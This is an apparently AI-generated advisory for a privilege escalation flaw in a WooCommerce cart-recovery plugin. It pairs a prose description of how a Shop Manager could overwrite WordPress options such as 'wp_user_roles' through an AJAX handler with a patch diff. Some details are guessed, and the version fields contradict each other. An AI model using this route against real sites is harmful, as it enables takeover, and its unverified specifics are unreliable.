Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 28, 2026

CVE-2026-39470: Cart Abandonment Recovery for WooCommerce – Recover Lost Sales with Automated Emails < 2.1.0 – Authenticated (Shop Manager+) Privilege Escalation (woo-cart-abandonment-recovery)

Severity High (CVSS 7.2)
CWE 266
Vulnerable Version 2.1.0
Patched Version 2.1.0
Disclosed April 7, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-39470:

This is a privilege escalation vulnerability in the Cart Abandonment Recovery for WooCommerce plugin (versions up to 2.1.0). It allows an authenticated attacker with Shop Manager-level access or above to escalate their privileges to Administrator. The vulnerability has a CVSS score of 7.2 (High) and is categorized as CWE-266 (Incorrect Privilege Assignment).

Root Cause: The vulnerability is fundamentally a missing capability check on an AJAX handler. The plugin registers admin AJAX actions for saving settings and performing privileged operations. Shop Managers (who have ‘manage_woocommerce’ capability) can access these handlers, but the plugin does not enforce ‘manage_options’ (administrator-level) capability on several critical actions. The code diff does not show the AJAX registration directly, but the patch in ‘woo-cart-abandonment-recovery/classes/class-cartflows-ca-helper.php’ at line 346 introduces a check: ‘if ( ! wcf_ca()->options->plugin_option_exist( $option_key ) ) { return false; }’. This prevents arbitrary option manipulation by restricting which options can be saved through the plugin’s meta fields saving function (‘save_meta_fields’). Prior to this patch, an attacker could craft requests to save arbitrary WordPress options or escalate privileges by saving user role options.

Exploitation: A Shop Manager (authenticated user with ‘shop_manager’ role) can send a POST request to ‘wp-admin/admin-ajax.php’ with the action set to the vulnerable handler (likely ‘wcar_save_settings’ or a generic AJAX action used by the plugin to save options). The attacker can manipulate the ‘option_key’ parameter to target sensitive WordPress options, such as ‘wp_user_roles’ (to grant administrator capabilities to their user role) or ‘new_admin_email’ (to take over admin email notifications). The specific vulnerable AJAX action is registered in the plugin’s admin area without a ‘manage_options’ capability check. The plugin’s setting-save logic previously did not validate that the option being saved was a known plugin option—allowing arbitrary option updates.

Patch Analysis: The patch adds two key security controls: (1) In ‘helper.php’, the `save_meta_fields` function now checks if the option key exists in the plugin’s defined options array via `plugin_option_exist()`. If the option is not registered with the plugin, the function returns `false` without saving. This prevents attackers from writing arbitrary WordPress options. (2) The migration of option naming from ‘cf_analytics_optin’ to ‘wcar_usage_optin’ and the addition of `wcar_usage_optin` to the default meta options registers the only allowable option keys. The patch effectively whitelists what can be updated through this save path.

Impact: Successful exploitation allows a Shop Manager (who normally has no ability to manage users or modify roles) to escalate to Administrator privileges. This gives full control over the WordPress site, including user management, plugin/theme installation, content editing, and setting changes. Combined with the ability to write arbitrary options, an attacker could also perform other malicious actions like redirecting site URLs or disabling security measures.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/woo-cart-abandonment-recovery/admin/ajax/ajax-setting.php
+++ b/woo-cart-abandonment-recovery/admin/ajax/ajax-setting.php
@@ -85,8 +85,8 @@
 			wp_send_json_error( $response_data );
 		}

-		// Add special case for cf_analytics_optin.
-		if ( 'cf_analytics_optin' === $option && 'on' === $value ) {
+		// Add special case for wcar_usage_optin.
+		if ( 'wcar_usage_optin' === $option && 'on' === $value ) {
 			$value = 'yes'; // We have to change the value of Analytics toggle to Yes or blank as per the library requirement.
 		}

--- a/woo-cart-abandonment-recovery/admin/api/dashboard.php
+++ b/woo-cart-abandonment-recovery/admin/api/dashboard.php
@@ -313,7 +313,10 @@
 			case WCF_CART_COMPLETED_ORDER:
 				return 'Successful';
 			case WCF_CART_LOST_ORDER:
+			case WCF_CART_FAILED_ORDER:
 				return 'Failed';
+			case WCF_CART_BLACKLISTED_ORDER:
+				return 'Blacklisted';
 			default:
 				return 'Normal';
 		}
--- a/woo-cart-abandonment-recovery/admin/api/detailed-report.php
+++ b/woo-cart-abandonment-recovery/admin/api/detailed-report.php
@@ -124,6 +124,8 @@
 			case WCF_CART_LOST_ORDER:
 			case WCF_CART_FAILED_ORDER:
 				return 'Failed';
+			case WCF_CART_BLACKLISTED_ORDER:
+				return 'Blacklisted';
 			default:
 				return 'Normal';
 		}
--- a/woo-cart-abandonment-recovery/admin/api/follow-up.php
+++ b/woo-cart-abandonment-recovery/admin/api/follow-up.php
@@ -108,7 +108,10 @@
 			case WCF_CART_COMPLETED_ORDER:
 				return 'Successful';
 			case WCF_CART_LOST_ORDER:
+			case WCF_CART_FAILED_ORDER:
 				return 'Failed';
+			case WCF_CART_BLACKLISTED_ORDER:
+				return 'Blacklisted';
 			default:
 				return 'Normal';
 		}
--- a/woo-cart-abandonment-recovery/admin/build/settings.asset.php
+++ b/woo-cart-abandonment-recovery/admin/build/settings.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-element', 'wp-i18n'), 'version' => '072bad15f265d6b2fdfd');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-element', 'wp-i18n'), 'version' => '5fa1ee44a6ed4fc9d5ec');
--- a/woo-cart-abandonment-recovery/admin/inc/meta-options.php
+++ b/woo-cart-abandonment-recovery/admin/inc/meta-options.php
@@ -302,8 +302,8 @@
 					'cf-analytics-optin'        => [
 						'type'         => 'toggle',
 						'label'        => __( 'Help Improve Cart Abandonment', 'woo-cart-abandonment-recovery' ),
-						'name'         => 'cf_analytics_optin',
-						'value'        => wcf_ca()->utils->wcar_get_option( 'cf_analytics_optin' ),
+						'name'         => 'wcar_usage_optin',
+						'value'        => wcf_ca()->utils->wcar_get_option( 'wcar_usage_optin' ),
 						'desc'         => sprintf(
 									/* translators: %1$s: Start Link Node and $2%s End Link Node. */
 							__( 'Collect non-sensitive information from your website, such as the PHP version and features used, to help us fix bugs faster, make smarter decisions, and build features that actually matter to you. %1$sLearn more%2$s', 'woo-cart-abandonment-recovery' ),
@@ -839,7 +839,7 @@
 		];

 		if ( ! _is_wcar_pro_license_activated() ) {
-			$fields['follow-up-channels']['fields']['wcf-ca-sms-tracking-status'] = [
+			$fields['follow-up-channels']['fields']['wcf-ca-sms-tracking-status']      = [
 				'type'                => 'toggle',
 				'label'               => __( 'Enable SMS Follow-ups', 'woo-cart-abandonment-recovery' ),
 				'name'                => 'wcf_ca_sms_tracking_status',
@@ -849,6 +849,16 @@
 				'is_pro'              => true,
 				'pro_upgrade_message' => '<span style="font-weight: 600;">SMS Follow Up</span> lets you follow up and recover revenue via SMS.',
 			];
+			$fields['follow-up-channels']['fields']['wcf-ca-whatsapp-tracking-status'] = [
+				'type'                => 'toggle',
+				'label'               => __( 'Enable WhatsApp Follow-ups', 'woo-cart-abandonment-recovery' ),
+				'name'                => 'wcf_ca_whatsapp_tracking_status',
+				'value'               => false,
+				'desc'                => __( 'Automatically send WhatsApp reminders to customers when they abandon their cart.', 'woo-cart-abandonment-recovery' ),
+				'is_fullwidth'        => true,
+				'is_pro'              => true,
+				'pro_upgrade_message' => '<span style="font-weight: 600;">WhatsApp Follow Up</span> lets you follow up and recover revenue via WhatsApp.',
+			];
 		}

 		$fields = apply_filters( 'wcar_admin_onboarding_fields', $fields );
@@ -904,7 +914,7 @@
 			return [];
 		}
 		$pro_fields = [
-			'sms-integration' => [
+			'sms-integration'      => [
 				'title'    => __( 'SMS', 'woo-cart-abandonment-recovery' ),
 				'slug'     => 'sms-integration',
 				'fields'   => [
@@ -915,12 +925,27 @@
 						'is_fullwidth'        => true,
 						'is_pro'              => true,
 						'pro_upgrade_message' => __( 'Automatically send SMS reminders to customers when they abandon their cart.', 'woo-cart-abandonment-recovery' ),
-						'priority'            => 51,
 					],
 				],
 				'priority' => 20,
 				'is_pro'   => true,
 			],
+			'whatsapp-integration' => [
+				'title'    => __( 'WhatsApp', 'woo-cart-abandonment-recovery' ),
+				'slug'     => 'whatsapp-integration',
+				'fields'   => [
+					'wcf-ca-whatsapp-tracking-status' => [
+						'type'                => 'toggle',
+						'label'               => __( 'Enable WhatsApp Follow-ups', 'woo-cart-abandonment-recovery' ),
+						'name'                => 'wcf_ca_whatsapp_tracking_status',
+						'is_fullwidth'        => true,
+						'is_pro'              => true,
+						'pro_upgrade_message' => __( 'Automatically send WhatsApp reminders to customers when they abandon their cart.', 'woo-cart-abandonment-recovery' ),
+					],
+				],
+				'priority' => 30,
+				'is_pro'   => true,
+			],
 		];

 		return $pro_fields;
@@ -947,6 +972,22 @@
 			'pro_upgrade_message' => __( 'Show a GDPR consent message below the phone number field on the checkout page.', 'woo-cart-abandonment-recovery' ),
 		];

+		$settings['blacklist-settings'] = [
+			'title'    => __( 'Blacklist', 'woo-cart-abandonment-recovery' ),
+			'slug'     => 'blacklist-settings',
+			'fields'   => [
+				'wcf-ca-email-blacklist-status' => [
+					'type'                => 'toggle',
+					'label'               => __( 'Enable Blacklist', 'woo-cart-abandonment-recovery' ),
+					'name'                => 'wcf_ca_phone_gdpr_status',
+					'is_fullwidth'        => true,
+					'is_pro'              => true,
+					'pro_upgrade_message' => __( 'Prevent recovery emails from being sent to specific email addresses or domains.', 'woo-cart-abandonment-recovery' ),
+				],
+			],
+			'priority' => 35,
+		];
+
 		return $settings;
 	}
 }
--- a/woo-cart-abandonment-recovery/admin/inc/wcar-admin.php
+++ b/woo-cart-abandonment-recovery/admin/inc/wcar-admin.php
@@ -269,7 +269,7 @@
 			$settings[ $option_key ] = get_option( $option_key, $default_value );
 		}

-		$settings['cf_analytics_optin'] = wcf_ca()->utils->wcar_get_option( 'cf_analytics_optin' );
+		$settings['wcar_usage_optin'] = wcf_ca()->utils->wcar_get_option( 'wcar_usage_optin' );

 		/**
 		 * Filter cart abandonment settings
@@ -357,6 +357,15 @@
 				'path'   => 'suretriggers/suretriggers.php',
 				'logo'   => esc_url( $base_url . 'ottokit.svg' ),
 			],
+			[
+				'title'   => __( 'Power Coupons', 'woo-cart-abandonment-recovery' ),
+				'desc'    => __( 'Power Coupons helps shop owners create smart discounts and auto-apply coupons to reduce friction and boost conversions.', 'woo-cart-abandonment-recovery' ),
+				'status'  => $this->get_plugin_status( 'power-coupons/power-coupons.php' ),
+				'slug'    => 'power-coupons',
+				'path'    => 'power-coupons/power-coupons.php',
+				'logo'    => esc_url( $base_url . 'power-coupons.svg' ),
+				'feature' => 'NEW',
+			],
 		];
 	}

@@ -389,12 +398,13 @@
 				'user_detail_firstname' => wp_get_current_user()->first_name,
 				'user_detail_lastname'  => wp_get_current_user()->last_name,
 				'user_detail_email'     => wp_get_current_user()->user_email,
-				'cf_analytics_optin'    => false,
+				'wcar_usage_optin'      => false,
 			],
 			'plugins'      => [
-				'cartflows'    => true,
-				'modern-cart'  => true,
-				'suretriggers' => true,
+				'cartflows'     => true,
+				'modern-cart'   => true,
+				'suretriggers'  => true,
+				'power-coupons' => true,
 			],
 		];
 	}
@@ -442,13 +452,13 @@
 		}

 		// Convert analytics optin value to 'yes' if it's truthy, otherwise keep as is.
-		$analytics_optin_value = $onboarding_data['userDetails']['cf_analytics_optin'];
+		$analytics_optin_value = $onboarding_data['userDetails']['wcar_usage_optin'];

 		if ( true === $analytics_optin_value ) {
 			$analytics_optin_value = 'yes';
 		}

-		wcf_ca()->helper->save_meta_fields( 'cf_analytics_optin', $analytics_optin_value );
+		wcf_ca()->helper->save_meta_fields( 'wcar_usage_optin', $analytics_optin_value );

 		$installable_plugin_slugs = [];
 		if ( ! empty( $plugin_slugs ) && is_array( $plugin_slugs ) ) {
--- a/woo-cart-abandonment-recovery/classes/class-cartflows-ca-admin-notices.php
+++ b/woo-cart-abandonment-recovery/classes/class-cartflows-ca-admin-notices.php
@@ -241,7 +241,7 @@
 				'show_if'              => true,
 				/* translators: %1$s white label plugin name and %2$s deactivation link */
 				'message'              => sprintf(
-					'<div class="notice-image" style="display: flex;">
+					'<div class="notice-image">
                         <img src="%1$s" class="custom-logo" alt="Cart Abandonment Recovery for WooCommerce Icon" itemprop="logo"></div>
                         <div class="notice-content">
                             <div class="notice-heading" style="font-weight: 700;">
--- a/woo-cart-abandonment-recovery/classes/class-cartflows-ca-default-meta.php
+++ b/woo-cart-abandonment-recovery/classes/class-cartflows-ca-default-meta.php
@@ -293,6 +293,10 @@
 				'default'  => 'off',
 				'sanitize' => 'FILTER_SANITIZE_STRING',
 			],
+			'wcar_usage_optin'                            => [
+				'default'  => 'off',
+				'sanitize' => 'FILTER_SANITIZE_STRING',
+			],
 			// TODO: Remove this after new UI is enabled by default.
 			'cartflows_ca_use_new_ui'                     => [
 				'default'  => false,
@@ -594,6 +598,22 @@

 		return __( 'Admin', 'woo-cart-abandonment-recovery' );
 	}
+
+	/**
+	 * Checks if plugin option exists
+	 *
+	 * @param string $setting_key Setting key to check.
+	 * @return bool
+	 * @since 2.0.8
+	 */
+	public function plugin_option_exist( $setting_key ) {
+		$plugin_options = $this->get_plugin_options();
+
+		if ( isset( $plugin_options[ $setting_key ] ) ) {
+			return true;
+		}
+		return false;
+	}
 }

 // Initialize the class.
--- a/woo-cart-abandonment-recovery/classes/class-cartflows-ca-helper.php
+++ b/woo-cart-abandonment-recovery/classes/class-cartflows-ca-helper.php
@@ -343,6 +343,12 @@
 	 * @since 1.3.3
 	 */
 	public function save_meta_fields( $option_key, $value, $network = false ) {
+
+		// Check if option is part of the plugin.
+		if ( ! wcf_ca()->options->plugin_option_exist( $option_key ) ) {
+			return false;
+		}
+
 		// Sanitize the value using universal sanitization.
 		$sanitized_value = wcf_ca()->options->sanitize_setting_value( $option_key, $value );

--- a/woo-cart-abandonment-recovery/classes/class-cartflows-ca-loader.php
+++ b/woo-cart-abandonment-recovery/classes/class-cartflows-ca-loader.php
@@ -95,8 +95,8 @@
 			define( 'CARTFLOWS_CA_BASE', plugin_basename( CARTFLOWS_CA_FILE ) );
 			define( 'CARTFLOWS_CA_DIR', plugin_dir_path( CARTFLOWS_CA_FILE ) );
 			define( 'CARTFLOWS_CA_URL', plugins_url( '/', CARTFLOWS_CA_FILE ) );
-			define( 'CARTFLOWS_CA_VER', '2.0.7' );
-			define( 'CARTFLOWS_CA_REQ_PRO_VER', '1.1.0' );
+			define( 'CARTFLOWS_CA_VER', '2.1.0' );
+			define( 'CARTFLOWS_CA_REQ_PRO_VER', '1.2.0' );

 			define( 'CARTFLOWS_CA_SLUG', 'cartflows_ca' );

@@ -301,7 +301,7 @@

 			$bsf_analytics->set_entity(
 				[
-					'cf' => [
+					'wcar' => [
 						'hide_optin_checkbox' => true,
 						'product_name'        => 'Woocommerce Cart Abandonment Recovery',
 						'usage_doc_link'      => 'https://my.cartflows.com/usage-tracking/',
--- a/woo-cart-abandonment-recovery/classes/class-cartflows-ca-update.php
+++ b/woo-cart-abandonment-recovery/classes/class-cartflows-ca-update.php
@@ -91,6 +91,13 @@
 				self::handle_analytics_optin_migration();
 			}

+			// If the currently saved plugin version is less than or equal to 2.0.7, run the migration.
+			if ( version_compare( $saved_version, '2.0.7', '<=' ) ) {
+				self::handle_analytics_option_migration_to_new_option();
+			}
+
+			// Migrate the option to new option key.
+
 			// Handle UI switching logic for version upgrades.
 			self::handle_ui_option_on_upgrade( $saved_version );

@@ -112,18 +119,18 @@
 		public static function handle_ui_option_on_upgrade( $saved_version ): void {
 			// Only set the option if it doesn't already exist (user hasn't made a choice).
 			if ( false === get_option( 'cartflows_ca_use_new_ui', false ) ) {
-
+
 				// For versions above 2.0.0 default to new UI.
 				if ( version_compare( $saved_version, '2.0.0', '>' ) ) {
 					update_option( 'cartflows_ca_use_new_ui', true );
 				}
-
+
 				// For versions below 2.0.0, leave option as false (legacy UI with notice).
 				// This allows users to see the notice and choose to upgrade.
 			}
 		}

-
+
 		/**
 		 * Handles the migration of the 'wcf_ca_ignore_users' option during upgrade.
 		 *
@@ -149,9 +156,9 @@
 		}

 		/**
-		 * Handles the migration of the 'cf_analytics_optin' option during upgrade.
+		 * Handles the migration of the 'wcar_usage_optin' option during upgrade.
 		 *
-		 * This function updates the 'cf_analytics_optin' option value from 'on' to 'yes'
+		 * This function updates the 'wcar_usage_optin' option value from 'on' to 'yes'
 		 * for older users who have enabled analytics tracking. This ensures compatibility
 		 * with the analytics library requirement.
 		 *
@@ -159,10 +166,29 @@
 		 * @return void
 		 */
 		public static function handle_analytics_optin_migration(): void {
-			$analytics_optin = get_option( 'cf_analytics_optin', false );
+			$analytics_optin = get_option( 'wcar_usage_optin', false );

 			if ( 'on' === $analytics_optin ) {
-				update_option( 'cf_analytics_optin', 'yes' );
+				update_option( 'wcar_usage_optin', 'yes' );
+			}
+		}
+
+		/**
+		 * Handles the migration from 'cf_analytics_optin' to 'wcar_usage_optin'.
+		 *
+		 * This function migrates the old option key to the new standardized key
+		 * for users upgrading from older versions.
+		 *
+		 * @since 2.0.5
+		 * @return void
+		 */
+		public static function handle_analytics_option_migration_to_new_option(): void {
+			$old_option = get_option( 'cf_analytics_optin', false );
+
+			if ( false !== $old_option && false === get_option( 'wcar_usage_optin', false ) ) {
+				// If the option value is on then convert it into yes as per the requirement.
+				$old_option = 'on' === $old_option ? 'yes' : $old_option;
+				update_option( 'wcar_usage_optin', $old_option );
 			}
 		}
 	}
--- a/woo-cart-abandonment-recovery/classes/class-cartflows-ca-utils.php
+++ b/woo-cart-abandonment-recovery/classes/class-cartflows-ca-utils.php
@@ -126,11 +126,11 @@
 			} else {
 				$default_options = wcf_ca()->options->get_default_settings();
 				/**
-			 * Filter the options array for Cart Abandonment Settings.
-			 *
-			 * @since  2.0.0
-			 * @var Array
-			 */
+				 * Filter the options array for Cart Abandonment Settings.
+				 *
+				 * @since  2.0.0
+				 * @var Array
+				 */
 				$default_options = apply_filters( 'wcar_get_option_array', $default_options, $option, $default );
 				$value           = isset( $default_options[ $option ] ) ? $default_options[ $option ] : $default;
 			}
--- a/woo-cart-abandonment-recovery/lib/bsf-analytics/class-bsf-analytics.php
+++ b/woo-cart-abandonment-recovery/lib/bsf-analytics/class-bsf-analytics.php
@@ -49,6 +49,9 @@

 			$this->entities = $args;

+			// Run migration from old "analytics" option names to new "usage" names.
+			$this->maybe_migrate_options();
+
 			define( 'BSF_ANALYTICS_VERSION', $analytics_version );
 			define( 'BSF_ANALYTICS_URI', $this->get_analytics_url( $analytics_path ) );

@@ -91,8 +94,8 @@

 			foreach ( $this->entities as $key => $data ) {
 				add_action( 'astra_notice_before_markup_' . $key . '-optin-notice', array( $this, 'enqueue_assets' ) );
-				add_action( 'update_option_' . $key . '_analytics_optin', array( $this, 'update_analytics_option_callback' ), 10, 3 );
-				add_action( 'add_option_' . $key . '_analytics_optin', array( $this, 'add_analytics_option_callback' ), 10, 2 );
+				add_action( 'update_option_' . $key . '_usage_optin', array( $this, 'update_analytics_option_callback' ), 10, 3 );
+				add_action( 'add_option_' . $key . '_usage_optin', array( $this, 'add_analytics_option_callback' ), 10, 2 );
 			}
 		}

@@ -162,7 +165,8 @@
 		public function is_tracking_enabled() {

 			foreach ( $this->entities as $key => $data ) {
-				$is_enabled = get_site_option( $key . '_analytics_optin' ) === 'yes' ? true : false;
+
+				$is_enabled = get_site_option( $key . '_usage_optin', false ) === 'yes' ? true : false;
 				$is_enabled = $this->is_white_label_enabled( $key ) ? false : $is_enabled;

 				if ( apply_filters( $key . '_tracking_enabled', $is_enabled ) ) {
@@ -212,8 +216,9 @@
 				return; // Don't need to display notice if any of our plugin already have the permission.
 			}

-			// If the user has opted out of tracking, don't show the notice till 7 days.
-			if ( get_site_option( 'bsf_analytics_last_displayed_time' ) > time() -  ( 7 * DAY_IN_SECONDS ) ) {
+			// If the user has opted out of tracking, don't show the notice till 7 days.
+			$last_displayed_time = get_site_option( 'bsf_usage_last_displayed_time', false );
+			if ( $last_displayed_time && $last_displayed_time > time() - ( 7 * DAY_IN_SECONDS ) ) {
 				return; // Don't display the notice if it was displayed recently.
 			}

@@ -223,7 +228,7 @@
 				$usage_doc_link  = isset( $data['usage_doc_link'] ) ? $data['usage_doc_link'] : $this->usage_doc_link;

 				// Don't display the notice if tracking is disabled or White Label is enabled for any of our plugins.
-				if ( false !== get_site_option( $key . '_analytics_optin', false ) || $this->is_white_label_enabled( $key ) ) {
+				if ( false !== get_site_option( $key . '_usage_optin', false ) || $this->is_white_label_enabled( $key ) ) {
 					continue;
 				}

@@ -347,18 +352,18 @@
 		 * @since 1.0.0
 		 */
 		private function optin( $source ) {
-			update_site_option( $source . '_analytics_optin', 'yes' );
+			update_site_option( $source . '_usage_optin', 'yes' );
 		}

 		/**
-		 * Opt out to usage tracking.
+		 * Opt out of usage tracking.
 		 *
 		 * @param string $source source of analytics.
 		 * @since 1.0.0
 		 */
 		private function optout( $source ) {
-			update_site_option( $source . '_analytics_optin', 'no' );
-			update_site_option( 'bsf_analytics_last_displayed_time', time() );
+			update_site_option( $source . '_usage_optin', 'no' );
+			update_site_option( 'bsf_usage_last_displayed_time', time() );
 		}

 		/**
@@ -376,6 +381,49 @@
 		}

 		/**
+		 * Migrate old "analytics" options to new "usage" naming.
+		 * Copies values to new options and deletes old options.
+		 *
+		 * @since 1.1.17
+		 */
+		private function maybe_migrate_options() {
+			if ( get_site_option( 'bsf_usage_migrated' ) ) {
+				return;
+			}
+
+			// Migrate global options.
+			$old_last_displayed = get_site_option( 'bsf_analytics_last_displayed_time' );
+			if ( false !== $old_last_displayed ) {
+				update_site_option( 'bsf_usage_last_displayed_time', $old_last_displayed );
+				delete_site_option( 'bsf_analytics_last_displayed_time' );
+			}
+
+			// Migrate per-product options.
+			foreach ( $this->entities as $key => $data ) {
+				$old_optin = get_site_option( $key . '_analytics_optin' );
+				if ( false !== $old_optin ) {
+					update_site_option( $key . '_usage_optin', $old_optin );
+					delete_site_option( $key . '_analytics_optin' );
+				}
+
+				$old_install_time = get_site_option( $key . '_analytics_installed_time' );
+				if ( false !== $old_install_time ) {
+					update_site_option( $key . '_usage_installed_time', $old_install_time );
+					delete_site_option( $key . '_analytics_installed_time' );
+				}
+			}
+
+			// Migrate transient.
+			$old_track = get_site_transient( 'bsf_analytics_track' );
+			if ( false !== $old_track ) {
+				set_site_transient( 'bsf_usage_track', $old_track, 2 * DAY_IN_SECONDS );
+				delete_site_transient( 'bsf_analytics_track' );
+			}
+
+			update_site_option( 'bsf_usage_migrated', true );
+		}
+
+		/**
 		 * Register usage tracking option in General settings page.
 		 *
 		 * @since 1.0.0
@@ -404,12 +452,12 @@

 				register_setting(
 					'general',             // Options group.
-					$key . '_analytics_optin',      // Option name/database.
+					$key . '_usage_optin',      // Option name/database.
 					array( 'sanitize_callback' => array( $this, 'sanitize_option' ) ) // sanitize callback function.
 				);

 				add_settings_field(
-					$key . '-analytics-optin',       // Field ID.
+					$key . '-usage-optin',       // Field ID.
 					__( 'Usage Tracking', 'woo-cart-abandonment-recovery' ),       // Field title.
 					array( $this, 'render_settings_field_html' ), // Field callback function.
 					'general',
@@ -417,9 +465,9 @@
 					array(
 						'type'           => 'checkbox',
 						'title'          => $author,
-						'name'           => $key . '_analytics_optin',
-						'label_for'      => $key . '-analytics-optin',
-						'id'             => $key . '-analytics-optin',
+						'name'           => $key . '_usage_optin',
+						'label_for'      => $key . '-usage-optin',
+						'id'             => $key . '-usage-optin',
 						'usage_doc_link' => $usage_doc_link,
 					)
 				);
@@ -448,10 +496,11 @@
 		 * @since 1.0.0
 		 */
 		public function render_settings_field_html( $args ) {
+			$is_checked = ( 'yes' === get_site_option( $args['name'], false ) );
 			?>
 			<fieldset>
 			<label for="<?php echo esc_attr( $args['label_for'] ); ?>">
-				<input id="<?php echo esc_attr( $args['id'] ); ?>" type="checkbox" value="1" name="<?php echo esc_attr( $args['name'] ); ?>" <?php checked( get_site_option( $args['name'], 'no' ), 'yes' ); ?>>
+				<input id="<?php echo esc_attr( $args['id'] ); ?>" type="checkbox" value="1" name="<?php echo esc_attr( $args['name'] ); ?>" <?php checked( $is_checked ); ?>>
 				<?php
 				/* translators: %s Product title */
 				echo esc_html( sprintf( __( 'Allow %s products to track non-sensitive usage tracking data.', 'woo-cart-abandonment-recovery' ), $args['title'] ) );// phpcs:ignore WordPress.WP.I18n.NonSingularStringLiteralText
@@ -469,7 +518,7 @@
 		}

 		/**
-		 * Set analytics installed time in option.
+		 * Get analytics installed time from option.
 		 *
 		 * @param string $source source of analytics.
 		 * @return string $time analytics installed time.
@@ -477,11 +526,11 @@
 		 */
 		private function get_analytics_install_time( $source ) {

-			$time = get_site_option( $source . '_analytics_installed_time' );
+			$time = get_site_option( $source . '_usage_installed_time' );

 			if ( ! $time ) {
 				$time = time();
-				update_site_option( $source . '_analytics_installed_time', time() );
+				update_site_option( $source . '_usage_installed_time', $time );
 			}

 			return $time;
@@ -525,12 +574,12 @@
 				return;
 			}

-			$analytics_track = get_site_transient( 'bsf_analytics_track' );
+			$analytics_track = get_site_transient( 'bsf_usage_track' );

 			// If the last data sent is 2 days old i.e. transient is expired.
 			if ( ! $analytics_track ) {
 				$this->send();
-				set_site_transient( 'bsf_analytics_track', true, 2 * DAY_IN_SECONDS );
+				set_site_transient( 'bsf_usage_track', true, 2 * DAY_IN_SECONDS );
 			}
 		}

--- a/woo-cart-abandonment-recovery/lib/class-cartflows-ca-bsf-analytics.php
+++ b/woo-cart-abandonment-recovery/lib/class-cartflows-ca-bsf-analytics.php
@@ -58,10 +58,11 @@
 		 */
 		public function get_specific_stats( $stats_data ) {

-			if ( apply_filters( 'cartflows_ca_enable_non_sensitive_data_tracking', get_option( 'cf_analytics_optin', false ) ) ) {
+			if ( apply_filters( 'cartflows_ca_enable_non_sensitive_data_tracking', get_option( 'wcar_usage_optin', false ) ) ) {

 				// Prepare default data to be tracked.
 				$stats_data['plugin_data']['cart_abandonment']                   = $this->get_default_stats();
+				$stats_data['plugin_data']['cart_abandonment']['kpi_records']    = $this->get_kpi_tracking_data();
 				$stats_data['plugin_data']['cart_abandonment']['numeric_values'] = $this->get_numeric_data_stats();
 				$stats_data['plugin_data']['cart_abandonment']['boolean_values'] = $this->get_boolean_data_stats();

@@ -90,6 +91,7 @@
 			$default_data = array(
 				'website-domain'        => str_ireplace( array( 'http://', 'https://' ), '', home_url() ),
 				'plugin-version'        => $version_numbers['plugin_version'],
+				'wcar-pro-version'      => $version_numbers['wcar_pro_version'],
 				'woocommerce-version'   => $version_numbers['wc_version'],
 				'wp-version'            => $version_numbers['wp_version'],
 				'php-version'           => $version_numbers['php_version'],
@@ -103,6 +105,58 @@
 		}

 		/**
+		 * Get KPI tracking data for the last 2 days (excluding today).
+		 *
+		 * @since x.x.x
+		 * @return array KPI data organized by date
+		 */
+		private function get_kpi_tracking_data() {
+			$kpi_data = array();
+			$today    = current_time( 'Y-m-d' );
+
+			// Get data for yesterday and day before yesterday.
+			for ( $i = 1; $i <= 2; $i++ ) {
+				$date        = gmdate( 'Y-m-d', strtotime( $today . ' -' . $i . ' days' ) );
+				$order_count = $this->get_daily_orders_count( $date );
+
+				// Always include data, even if submissions is 0.
+				$kpi_data[ $date ] = array(
+					'numeric_values' => array(
+						'recovered_order_count' => $order_count,
+					),
+				);
+			}
+
+			return $kpi_data;
+		}
+
+		/**
+		 * Get daily submissions count for a specific date.
+		 *
+		 * @param string $date Date in Y-m-d format.
+		 * @since x.x.x
+		 * @return int Daily submissions count
+		 */
+		private function get_daily_orders_count( $date ) {
+			global $wpdb;
+
+			$cart_abandonment_table = $wpdb->prefix . CARTFLOWS_CA_CART_ABANDONMENT_TABLE;
+			$start_date 			= $date . ' 00:00:00';
+			$end_date   			= $date . ' 23:59:59';
+
+			$count = $wpdb->get_var( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
+				$wpdb->prepare(
+					"SELECT COUNT(*) FROM {$cart_abandonment_table} WHERE `order_status` = %s AND `time` >= %s AND `time` <= %s", // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+					WCF_CART_COMPLETED_ORDER,
+					$start_date,
+					$end_date
+				)
+			);
+
+			return absint( $count );
+		}
+
+		/**
 		 * Retrieves numeric data statistics for Cart Abandonment Recovery.
 		 *
 		 * This function collects and returns numeric data statistics for Cart Abandonment Recovery, including total users, active users, and follow-up email counts.
@@ -113,7 +167,10 @@
 		public function get_numeric_data_stats() {
 			// Return the prepared data.
 			return array(
-				'total_followup_emails'     => strval( $this->get_total_followup_emails_count() ),
+				'total_followup_emails'      => strval( $this->get_total_followup_emails_count() ),
+				'email_tmpl_with_coupon'     => strval( $this->get_email_template_meta_count( 'override_global_coupon' ) ),
+				'email_tmpl_with_conditions' => strval( $this->get_email_template_meta_count( 'enable_sms_rule_engine' ) ),
+				'email_tmpl_with_exclusions' => strval( $this->get_email_template_meta_count( 'exclude_product_ids' ) ),
 			);
 		}

@@ -132,6 +189,8 @@
 				'webhook_enabled'        => $this->get_webhook_enabled_status(),
 				'using_woo_template'     => $this->get_woo_template_usage_status(),
 				'using_new_ui' 			 => $this->get_ui_enabled_status(),
+				'is_email_gdpr_enable'	 => $this->get_email_gdpr_enabled_status(),
+				'suretriggers_active'    => is_plugin_active( 'suretriggers/suretriggers.php' ),
 			);
 		}

@@ -150,10 +209,21 @@
 				'nps_submitted'    => isset( $nps_data['submitted'] ) ? (bool) $nps_data['submitted'] : false,
 				'nps_dismissed'    => isset( $nps_data['dismissed'] ) ? (bool) $nps_data['dismissed'] : false,
 				'nps_first_shown'  => isset( $nps_data['first_shown'] ) ? sanitize_text_field( $nps_data['first_shown'] ) : '',
+				'nps_dismiss_step' => isset( $nps_data['dismiss_step'] ) ? sanitize_text_field( $nps_data['dismiss_step'] ) : '',
 			);
 		}

 		/**
+		 * Get GDPR Info.
+		 *
+		 * @since x.x.x
+		 * @return bool True if GDPR is enabled, false otherwise.
+		 */
+		public function get_email_gdpr_enabled_status(){
+			return 'on' === wcf_ca()->utils->wcar_get_option( 'wcf_ca_gdpr_status' ) ? true : false;
+		}
+
+		/**
